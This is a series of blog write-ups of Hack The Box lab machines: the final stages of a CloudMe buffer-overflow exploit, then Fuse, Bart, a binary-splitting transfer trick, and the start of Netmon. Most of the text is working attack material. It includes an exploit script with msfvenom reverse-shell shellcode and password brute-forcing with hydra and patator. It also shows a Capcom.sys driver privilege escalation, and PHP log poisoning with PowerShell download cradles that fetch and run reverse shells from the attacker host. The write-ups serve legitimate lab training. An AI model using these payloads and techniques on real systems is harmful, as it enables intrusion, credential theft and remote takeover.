Adjusting our call to build to payload = build(2000, 1052) and running the exploit again, we now see the in the debugger that our “B"s (hex 42) cleanly popped into EIP and that ESP points right at the beginning of our “C"s (hex 43).

Finding a suitable JMP ESP

If we would find any instructions in the loaded modules that would directly or indirectly jump to ESP, we could use the address of the beginning of the instruction as our return address. Once EIP points to a JMP ESP instruction, we would essentially jump right back to the beginning of our “C"s. Requirement for all this is that we don’t have protection methods such as ASLR (Address Space Layout Randomization) in place.

To find such an address, we can utilize mona.py again.

First, we find available modules without ASLR:

!mona noaslr

This shows us a couple of modules. Let’s look into these for JMP ESP (or similar) instructions:

!mona jmp -r esp -m Qt5Core.dll

We find a couple of results – let’s choose the first CALL ESP:

0x68d652e1 : call esp | {PAGE_EXECUTE_READ} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.9.0.0 (C:\Users\dh\AppData\Local\Programs\CloudMe\CloudMe\Qt5Core.dll)

Let’s add the address of the instruction to our exploit script (note that we reverse the byte order for little-endian). Additionally, we add opcode \xcc (INT 3) where ESP will point so that the debugger will break when our “shellcode” is hit.

def build(size, offset):
 junk = b'A' * offset
 eip = b'\xe1\x52\xd6\x68' # 0x68d652e1
 shellcode = b'\xcc' * 4
 junk2 = b'C' * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload

Sending the payload again and observing the debugger, we can see that we’re again a little bit closer to controlling the program. The debugger paused as it hit our INT3 instruction.

Finding the “bad bytes”

Before we can create our actual shellcode, we need to find out if certain bytes would cause issues (commonly bytes that have a special meaning, like NULL for string termination, potentially carriage return / line feed for HTTP applications and so on).

An easy way to find out what bytes are causing issues is to literally send all possible byte values to the app and then look at the stack if something got garbled up. Let’s do this – again with the help of mona.py:

!mona bytearray -cpb '\x00'

(I’m excluding \x00 right from the beginning)

This will give us two files: bytarray.txt and bytarray.bin. The former we will use to copy paste into our exploit script, the latter for later comparision of what arrived on the stack.

Our exploit code can be adjusted like so:

def build(size, offset):
 junk = b'A' * offset
 eip = b'\xe1\x52\xd6\x68' # 0x68d652e1
 shellcode = b'\xcc' * 4
 shellcode += (b"\x01\x02\x03\x04\x05\x06..."
 b"\x21\x22\x23\x24\x25\x26...") # shortened for readability
 junk2 = b'C' * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload

Once the debugger goes into a paused state, we can look at the stack and note down the address where our byte array starts (04030201 and so on). Using this starting address, we can now compare all the bytes from that address with the bytearray.bin file created earlier.

!mona compare -f C:\ImmunityLogs\CloudMe\bytearray.bin -a 00a3d3d4

We get a nice message from mona.py that no corruption was found.

Knowing this, we can finally generate our final shellcode to exploit CloudMe on our own VM.

(If we would have seen corruption, we would have just removed the first corrupted byte from the byte array and sent it again – repeatedly until the sent byte array is unmodified.)

Generating the shellcode

For generating the shellcode we pick the easy route and let msfvenom do the hard work for us. Let’s generate a payload for getting a reverse shell and prevent the use of NULL bytes (don’t forget to update the IP to the one of your attacker machine).

msfvenom -p windows/shell_reverse_tcp LHOST=172.16.246.133 LPORT=80 -b '\x00' -f py

The payload is 351 bytes in size, so it fits easily into the space we have available.

Let’s add the shellcode to our exploit and pad it with a few NOPs so that the automatically chosen encoder (x86/shikata_ga_nai) has enough room for unpacking our payload.

Our build function now looks like this:

def build(size, offset):
 junk = b'A' * offset
 eip = b'\xe1\x52\xd6\x68' # 0x68d652e1

 # msfvenom -p windows/shell_reverse_tcp LHOST=172.16.246.133 LPORT=80 -b '\x00' -f py
 buf = b""
 buf += b"\xda\xd0\xd9\x74\x24\xf4\x58\x31\xc9\xbb\x12\xab\x84"
 buf += b"\xb1\xb1\x52\x83\xe8\xfc\x31\x58\x13\x03\x4a\xb8\x66"
 buf += b"and so on..."

 shellcode = b'\x90' * 16 + buf
 junk2 = b'C' * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload

Exploiting our own box

Now it’s time to start a listener on our machine (nc -lvnp 80) and run the exploit one more time. If everything went well, we should get a shell from the target system back:

kali@kali:~ kali$ sudo nc -lvnp 80
listening on [any] 80 ...
connect to [172.16.246.133] from (UNKNOWN) [172.16.246.136] 49696
Microsoft Windows [Version 10.0.18362.30]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\dh\AppData\Local\Programs\CloudMe\CloudMe>

Hey, it worked! We successfully exploited the system. The only two things left are now to 1.) update the shellcode for a reverse shell to the IP of our tun0 interface from the Hack The Box VPN and 2.) Find a way to actually send the payload, as we don’t have administrator permissions on the target yet and can thus not do a portproxy like we did for our box.

After acknowledging the Windows dog which tells us that we have been pwned, we can shutdown our VM :-)

Updating the payload

Updating the payload is easy; just change the IP address of the msfvenom command and put the result back into the exploit script:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.28 LPORT=80 -b '\x00' -f py

Setting up a remote forward

To reach the CloudMe service from our attacker machine, we can upload plink.exe to the target and then set up a remote port forward to our machine.

Since we are connecting from the target to our machine, it makes sense to use a low-privilege account and only allow port-forwarding to minimize the chance of getting owned ourselves :-)

We add the the public key and some options to the authorized_keys file of our low-priv user (in my case I call the user forwarder):

from="10.10.10.198",command="echo 'Please dont pwn me'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3Nz...==

Next, we launch the SSHd service on our machine (feel free to adjust the port number in /etc/ssh/sshd_config; I use 7777 for this example) and then copy the plink.exe and forwarder.ppk key file to the target:

copy \\10.10.14.28\TMP\plink.exe .
copy \\10.10.14.28\TMP\forwarder.ppk .

Then, to set up the forwarding:

.\plink.exe -ssh -l forwarder -i forwarder.ppk -v -N -P 7777 -R 8888:127.0.0.1:8888 10.10.14.28

A quick netstat -tlpn on our machine should confirm that sshd now also started listening on 127.0.0.1:8888 for our forward.

One thing left: we change the HOST variable in our exploit to 127.0.0.1, start a netcat listener nc -lvnp 80 and run the exploit again.

Now we are greeted with an administrator shell from the target system:

sudo nc -vlnp 80
listening on [any] 80 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.198] 49876
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
buff\administrator

I have posted the full exploit script for reference as a Gist.

Hack the Box Write-up #8: Fuse

Sat, 31 Oct 2020 00:00:00 +0000

I finally found some time again to write a walk-through of a Hack The Box machine. In this post we’ll hack into Fuse, a Medium machine which just got retired and included some password guessing, discovery of stored plaintext credentials and eventually a SeLoadDriverPrivilege escalation.

Recon and Enumeration

To get a first overview of the box, we’ll start with a nmap -sC -sV 10.10.10.193.

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus 
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-10-30 22:31:39Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped

Looking at the ports and enumeration output, we can tell we’re dealing with a domain controller.

Since we also see port 80 open, let’s first have a quick look at the site at http://10.10.10.193.

It forwards us to http://fuse.fabricorp.local/papercut/logs/html/index.htm, which we can browse normally after adding fuse.fabricorp.local and fabricorp.local to /etc/hosts (you would only need to add fuse.fabricorp.local, but it could be helpful to also have the root domain in it for later parts):

The print logging system lets us access reports for past print jobs and through that also makes it possible to collect some user/machine names and document titles with potential hints:

We learn about the following users:

pmerton - JUMP01 - Works in HR?
tlavel - LONWK015 - Works in IT?
sthompson - LONWK019 - Works in Purchasing?
bhult - LAPTOP07
administrator - FUSE - Troubleshooting some printing issues?
bnielson – New in the company? Maybe a weak default password?

Looking at the other ports, we can’t enumerate too much more as we don’t have valid credentials yet (no LDAP, SMB/RPC enum).

Brute-forcing our way to first credentials

We’ll take a chance and create a small wordlist of passwords containing the company name and try it against the discovered accounts via SMB:

users.txt

bnielson
sthompson
tlavel
pmerton
bhult

passwords.txt

$ echo Fabricorp > seed
$ hashcat -r best64.rule --stdout seed > passwords.txt
Fabricorp
procirbaF
FABRICORP
fabricorp
Fabricorp0
Fabricorp1
Fabricorp2
Fabricorp3
Fabricorp4
Fabricorp5
Fabricorp6
Fabricorp7
Fabricorp8
Fabricorp9
Fabricorp00
Fabricorp01
Fabricorp02
Fabricorp11
[...]

Using hydra for brute-forcing, we quickly get the following results:

$ hydra -L users.txt -P passwords.txt smb://10.10.10.193
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-30 23:47:54
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 60 login tries (l:5/p:12), ~60 tries per task
[DATA] attacking smb://10.10.10.193:445/
[445][smb] Host: 10.10.10.193 Account: bnielson Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193 login: bnielson password: Fabricorp01
[445][smb] Host: 10.10.10.193 Account: tlavel Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193 login: tlavel password: Fabricorp01
[445][smb] Host: 10.10.10.193 Account: bhult Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193 login: bhult password: Fabricorp01

So Fabricorp01 seems to be an expired default password for a couple of accounts. We should be able to reset the password and set our own. Let’s choose tlavel as our target, since it looks like he’s working in IT:

$ smbpasswd -U tlavel -r 10.10.10.193
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user tlavel on 10.10.10.193.

The password change worked and we can authenticate via SMB.

$ smbmap -H 10.10.10.193 -u tlavel -p 'chosenpassword'
[+] IP: 10.10.10.193:445 Name: fabricorp.local
 Disk Permissions Comment
 ---- ----------- -------
 ADMIN$ NO ACCESS Remote Admin
 C$ NO ACCESS Default share
 HP-MFT01 NO ACCESS HP-MFT01
 IPC$ READ ONLY Remote IPC
 NETLOGON READ ONLY Logon server share
 print$ READ ONLY Printer Drivers
 SYSVOL READ ONLY Logon server share

More Enumeration, Finding Plaintext Credentials

Our credentials don’t give us too much in terms of file access – we can mount print$ with mkdir /mnt/print; mount -t cifs -o 'user=tlavel,password=chosenpassword,rw,vers=1.0' //10.10.10.193/print$ /mnt/print, but nothing looks helpful in here.

Let’s see if we can enumerate more users, groups, maybe printers… :-). A good tool to do this kind of enumeration is rpcclient, which will do all the SAMR/SPOOL RPC calls for you:

$ rpcclient -U tlavel 10.10.10.193
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]

rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[IT_Accounts] rid:[0x644]

rpcclient $> enumprinters
 flags:[0x800000]
 name:[\\10.10.10.193\HP-MFT01]
 description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
 comment:[]

The printer description field looks juicy and might fit the svc-scan or svc-print account discovered in the earlier call.

Looking at the groups again, let’s dig into IT_Accounts as it stands out:

rpcclient $> querygroup 0x644
 Group Name: IT_Accounts
 Description:
 Group Attribute:7
 Num Members:2
rpcclient $> querygroupmem 0x644
 rid:[0x450] attr:[0x7]
 rid:[0x641] attr:[0x7]
rpcclient $> queryuser 0x450
 User Name : svc-print
 [...]

svc-print is part of IT_Accounts, svc-scan is just in Domain Users – so let’s try svc-print first. This time we’re using crackmapexec to check:

$ cme smb 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'

SMB 10.10.10.193 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB 10.10.10.193 445 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1

Do we also have access via WinRM?

cme winrm 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'

WINRM 10.10.10.193 5985 FUSE [*] Windows 10.0 Build 14393 (name:FUSE) (domain:fabricorp.local)
WINRM 10.10.10.193 5985 FUSE [*] http://10.10.10.193:5985/wsman
WINRM 10.10.10.193 5985 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1 (Pwn3d!)

This looks good. We can get our first shell via WinRM.

Privilege Escalation from svc-print using SeLoadDriverPrivilege

To get a PowerShell shell, we can use evil-winrm:

evil-winrm -i 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'

The first thing we run with our low-priv user is a whoami /all to check what we are allowed to do.

*Evil-WinRM* PS C:\Users\svc-print\Documents> whoami /all

USER INFORMATION
----------------

User Name SID
=================== ==============================================
fabricorp\svc-print S-1-5-21-2633719317-1471316042-3957863514-1104


GROUP INFORMATION
-----------------
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
FABRICORP\IT_Accounts Group S-1-5-21-2633719317-1471316042-3957863514-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

[...]

Not only are we a member of Remote Management Users (we knew that), but also of Print Operators. This gives us the SeLoadDriverPrivilege which allows to load device drivers – and potentially opens up a path to elevate our privileges to SYSTEM by abusing a vulnerable driver’s functionality in combination with a registry entry we can control (HKCU) and pass to the LoadDriver API.

Have a look at the blog post Abusing SeLoadDriverPrivilege for privilege escalation for a good overview of the mechanics of this attack.

Just like in the article, we can use the EoPLoadDriver proof-of-concept tool and the signed Capcom.sys driver together with the public ExploitCapcom exploit from GitHub.

First, we switch over to a Windows system, clone the EiPLoadDriver repository and compile EoPLoadDriver.cpp. Next, we clone the ExploitCapcom repo (it already comes with a Visual Studio solution file), but make a slight adjustment before compiling.

In the LaunchShell function we “quick and dirty” call our own reverse shell, instead of cmd.exe:

static bool LaunchShell()
{
 TCHAR CommandLine[] = TEXT("C:\\Windows\\Temp\\revshell.exe");
 [...]

We can now build the app and move on to creating a small reverse shell with msfvenom:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.20 LPORT=80 -f exe -o revshell.exe

The only thing that is left is the Capcom.sys driver. I found a copy matching the checksum on GitHub in the Capcom-Rootkit repository.

With the four files at hand, we are ready to drop some binaries on the target.

I’m using the upload functionality inside evil-winrm:

upload EopLoadDriver.exe
upload Capcom.sys
upload ExploitCapcom.exe
upload revshell.exe

Next, we prepare the netcat listener on our machine:

nc -lvnp 80

And then run the exploit:

*Evil-WinRM* PS C:\Windows\Temp> .\EopLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\CurrentControlSet\MyService
NTSTATUS: 00000000, WinError: 0

*Evil-WinRM* PS C:\Windows\Temp> .\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 0000018A080A0008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program

And we get our SYSTEM shell back:

$ nc -lvnp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.193.
Ncat: Connection from 10.10.10.193:49747.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\Temp>whoami
whoami
nt authority\system

Splitting a binary into chunks on Linux, and re-combining them on Windows

Wed, 09 Sep 2020 00:00:00 +0000

Recently, I needed to transfer a binary over a very limited network connection allowing only small packets to be sent. I ended up splitting the binary into pieces on my Linux box and reassembled the pieces on the target Windows host.

If, for some reason, you cannot use easier means like IP fragmentation and work with a smaller maximum transfer unit (MTU), here’s how to do the splitting and re-combining.

Split binary into pieces on Linux

Splitting a file into pieces on Linux is very straightforward – just use the split program (man).

The following command will split evil.exe into pieces of 1000 bytes, prefix them with chunk and use a numeric suffix for each chunk.

split -b 1000 -d evil.exe chunk

So we will end up with something like this:

chunk00 chunk16 chunk32 chunk48
chunk01 chunk17 chunk33 chunk49
chunk02 chunk18 chunk34 chunk50
chunk03 chunk19 chunk35 chunk51
chunk04 chunk20 chunk36 chunk52
chunk05 chunk21 chunk37 chunk53
chunk06 chunk22 chunk38 chunk54
chunk07 chunk23 chunk39 chunk55
chunk08 chunk24 chunk40 chunk56
chunk09 chunk25 chunk41 chunk57
chunk10 chunk26 chunk42 chunk58
chunk11 chunk27 chunk43 chunk59
chunk12 chunk28 chunk44
chunk13 chunk29 chunk45
chunk14 chunk30 chunk46
chunk15 chunk31 chunk47

Now that we have our chunks, we can host them for the Windows machine to download.

Download from Windows

To download the individual chunks to the Windows host, let’s use a quick PowerShell one-liner with Invoke-WebRequest:

0..59 | % { $chunk = 'chunk{0:d2}' -f $_; iwr 1.2.3.4/$chunk -outfile $chunk }

If all you have is a command prompt and cannot download the chunks directly, one idea is to convert the binary chunks into hex strings and then send these strings through the prompt of the shell you might have.

Combine the chunks

Now that we have all pieces to the puzzle, let’s assemble them into the self-contained binary we actually want, with Get-ChildItem, Get-Content and Set-Content:

gci -Filter "chunk*" | gc -Enc Byte -Read 1000 | sc evil.exe -Enc Byte

Doing a Get-FileHash evil.exe on the Windows host should now return the same hash as shasum -a 256 evil.exe on Linux.

Hack the Box Write-up #7: Bart

Sat, 21 Mar 2020 00:00:00 +0000

After doing a couple more machines on Hack The Box, Bart was one that I definitely wanted to do a write-up for.

We start with a bunch of web enumeration and discovering different directories and hostnames. Eventually, we discover a chat application, register our own user and do log poisoning to get our first low priv shell. Privilege escalation to Administrator is then accomplished by identifying AutoLogon credentials stored in the registry. On the way we read some source code, learn about 32/64-bit registry queries and running commands in a different user context.

Recon and Enumeration

Our initial nmap -sC -sV -oN nmap/init 10.10.10.81 gives:

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Since we only discovered one port (80), we do another scan for all ports (nmap -p-) while having a first look at the site running at 10.10.10.81.

We get a Location: http://forum.bart.htb/ header back. After adding the hostnames forum.bart.htb and bart.htb to /etc/hosts we are presented with the following site:

The site gives us some interesting information about employee’s names and email addresses. Additionally, another employee entry for “Harvey Potter” is commented out in the HTML source.

<!-- <div class="owl-item" style="width: 380px;"><div class="team-item">
 <div class="team-inner">
 <div class="pop-overlay">
 <div class="team-pop">
 <div class="team-info">
 <div class="name">Harvey Potter</div>
 <div class="pos">Developer@BART</div>
[...]
-->

From the HTTP headers we also learn that we’re dealing with a relatively modern Windows 2016/2019/10 (IIS 10 server header) and a PHP 7.1.7 installation.

The next step is to brute-force directories. It’s a little bit more involved this time as every request to the server returns a 200 status. To get around this, we’ll use wfuzz and filter by the number of characters of the returned data:

wfuzz --hh 150693 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bart.htb/FUZZ.

After a while we discover the /monitor directory:

000000067: 301 1 L 10 W 145 Ch "forum" 
000001614: 301 1 L 10 W 147 Ch "monitor"

Going to http://bart.htb/monitor/ gives us a “PHP Server Monitor” instance. A quick search for public exploits reveals nothing relevant for our use case. What we can do, however, is enumerating usernames via the “Forgot Password” feature. The obvious first thing to try are the employee names that we noted down earlier.

Brute-forcing our way in

Once we know that Daniel and Harvey are valid usernames, we can try brute-forcing the password. While CSRF tokens usually make it a bit harder as we would need to fetch the updated token for every request, in this case we can get around it by just passing the same token and a valid cookie header.

hydra -L users.txt -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-25.txt "http-post-form://bart.htb/monitor/:csrf=43aa9be1c2751cd82f916413a9d6696b501a075b0bd0a818c3a126e5aa6f809f&user_name=^USER^&user_password=^PASS^&action=login:incorrect:H=Cookie\:PHPSESSID=utstuc3mhm4glhnre75qao4t59"

After a couple of minutes, we successfully discover the password – one that we could have also guessed in the first place, I’d say :-)

[80][http-post-form] host: bart.htb login: Harvey password: potter

Logging in with the creds redirects us to monitor.bart.htb, so let’s also add this hostname to our /etc/hosts/ file.

Once logged in we discover yet another hostname: http://internal-01.bart.htb/. Let’s add this one as well and navigate there.

We land at another login prompt. This time for a “simple_chat” application.

Exploiting the left over “register.php” – or: just brute-force again

Googling for a few file names of the application, we quickly discover that this is the source code: https://github.com/magkopian/php-ajax-simple-chat/tree/master/simple_chat

Skimming through the code, we don’t find anything too obvious in the login logic (the sql query looks vulnerable at first sight but is not, as the password is hashed before being included in the query and the username validation also strips quotes before).

However, we could look into just creating a new user ourselves; the register_form.php was apparently deleted on the server, but nothing stops us from sending a POST to register.php, which still exists:

POST /simple_chat/register.php HTTP/1.1
Host: internal-01.bart.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://internal-01.bart.htb/simple_chat/login_form.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Cookie: PHPSESSID=7v28h3a0rk34cg5el3ggmvg60p
Upgrade-Insecure-Requests: 1
uname=itsme&passwd=itsokletmein&submit=Login

An alternative approach would be to brute-force the login once more; this time it requires a slightly larger wordlist, but is still doable. As hydra was running a bit slow last time, let’s use patator this time and start only with Harvey as username:

patator http_fuzz url=http://internal-01.bart.htb/simple_chat/login.php method=POST body='uname=Harvey&passwd=FILE0&submit=Login' 0=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-45.txt -x ignore:fgrep='Location: login_form.php'

After about 2 minutes we get a hit:

patator INFO - 302 354:0 1.051 | Password1 | 3502 | HTTP/1.1 302 Found

Logging in, we see a chat and a log button at the top right:

Log poisoning to reverse shell

Clicking on “log” makes a XHR to:

/log/log.php?filename=log.txt&username=harvey

Going to http://internal-01.bart.htb/log/log.txt, we can see that the log.txt file was created and includes the given username and our User-Agent header.

So let’s try changing the file to “rce.php” and adding PHP code to the User-Agent header:

Sending:

GET /log/log.php?filename=rce.php&username=harvey HTTP/1.1
Host: internal-01.bart.htb
User-Agent: <?php echo 1+1; ?>

And then requesting /log/rce.php HTTP/1.1 gives us the following output (the number 2 being our executed code 1+1):

[2020-03-21 20:54:43] - harvey - 2

Now that we can execute code by poisoning the log file, let’s prepare to get a reverse shell. I’ll use the “mini-reverse.ps1” from https://gist.github.com/staaldraad/204928a6004e89553a8d3db0ce527fd5.

To get the shell, we adjust mini-reverse.ps1 with our IP and desired port number, host it (python3 -m http.server 80), start a netcat listener (nc -lvnp 443), and then use a powershell download cradle inside the PHP code in the User-Agent header:

GET /log/log.php?filename=rce.php&username=harvey HTTP/1.1
Host: internal-01.bart.htb
User-Agent: <?php system("powershell -c iex (new-object net.webclient).downloadstring('http://10.10.14.37/mini-reverse.ps1')"); ?>

Doing another GET /log/rce.php HTTP/1.1 will now execute our code, download mini-reverse.ps1 and initiate our connect-back shell.

Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.81.
Ncat: Connection from 10.10.10.81:50173.
whoami
nt authority\iusr

Escalate to Administrator

After a few manual checks, we can run an privesc enumeration script like winPEAS or PowerUp.

powershell -c "iex(new-object net.webclient).downloadstring('http://10.10.14.37/PowerUp.ps1'); Invoke-AllChecks"

If we run PowerUp or the winPEAS.bat like above, however, we’ll likely miss a few things (namely registry settings), because we’re on a 64-bit system but running 32-bit PowerShell, as confirmed like so:

powershell.exe -c "[Environment]::Is64BitProcess"
False

To do enumeration in a 64-bit process we could either download and execute something like the winPEAS.exe binary or run an enumeration script by explicitly callling the 64-bit version of PowerShell:

C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c "[Environment]::Is64BitProcess"
True

So let’s run PowerUp again:

C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c "iex(new-object net.webclient).downloadstring('http://10.10.14.37/PowerUp.ps1'); Invoke-AllChecks"

This time we get a very obvious privilege escalation hint:

[*] Checking for Autologon credentials in registry...

DefaultDomainName : DESKTOP-7I3S68E
DefaultUserName : Administrator
DefaultPassword : 3130438f31186fbaf962f407711faddb

If you’d wanted to read the registry values without PowerShell, you would naturally also need to specify the architecture:

REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword

…won’t give you anything, whereas…

REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword /reg:64

… will give you what you want (note /reg:64).

Getting only the flag or a full admin shell

The stored AutoLogon credentials already give us everything we need to root the box. We can now either just read the root flag or go ahead and get a full Administrator shell.

Let’s first try to read the root flag with our current shell. To do that, we can just run Get-Content as the Administrator user (see my previous blog post: Running commands in a specific user context in PowerShell):

powershell.exe -c "$user='WORKGROUP\Administrator'; $pass='3130438f31186fbaf962f407711faddb'; try { Invoke-Command -ScriptBlock { Get-Content C:\Users\Administrator\Desktop\root.txt } -ComputerName BART -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }" 2>&1"

0074a38e6e...

Now, to get a proper Adminstrator shell, using PSExec and passing the creds is usually an easy way to go. We have one problem here, though: while the machine is listening on 135/445, the firewall doesn’t let us in. To get around a situation like this, we could open the port in the firewall (nah, not cool) or proxy the connection through another session (e.g. psexec through proxychains with meterpreter’s socks4a module), or just use what we’re already using: another Invoke-Command as Admin, but this time to load our reverse shell script again.

Starting our netcat listener again like before (using 443 once more so that we don’t need to change the script), we receive our administrator reverse shell:

powershell.exe -c "$user='WORKGROUP\Administrator'; $pass='3130438f31186fbaf962f407711faddb'; try { Invoke-Command -ScriptBlock { iex(New-Object Net.WebClient).DownloadString('http://10.10.14.37/mini-reverse.ps1') } -ComputerName BART -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }" 2>&1"

And here we go:

Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.81.
Ncat: Connection from 10.10.10.81:50896.
whoami
bart\administrator

Cheers!

Hack the Box Write-up #3: Netmon

Wed, 22 Jan 2020 00:00:00 +0000

In today’s write-up we’re going to take a look at getting into Hack the Box’s retired Netmon machine, which was a relatively easy box if you just remembered that people tend to have bad password habits.

Recon

We start with an nmap scan which gives us quite a few open ports:

> nmap -sV -sC -oN nmap/init 10.10.10.152

Nmap scan report for 10.10.10.152
Host is up (0.035s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19 11:18PM 1024 .rnd
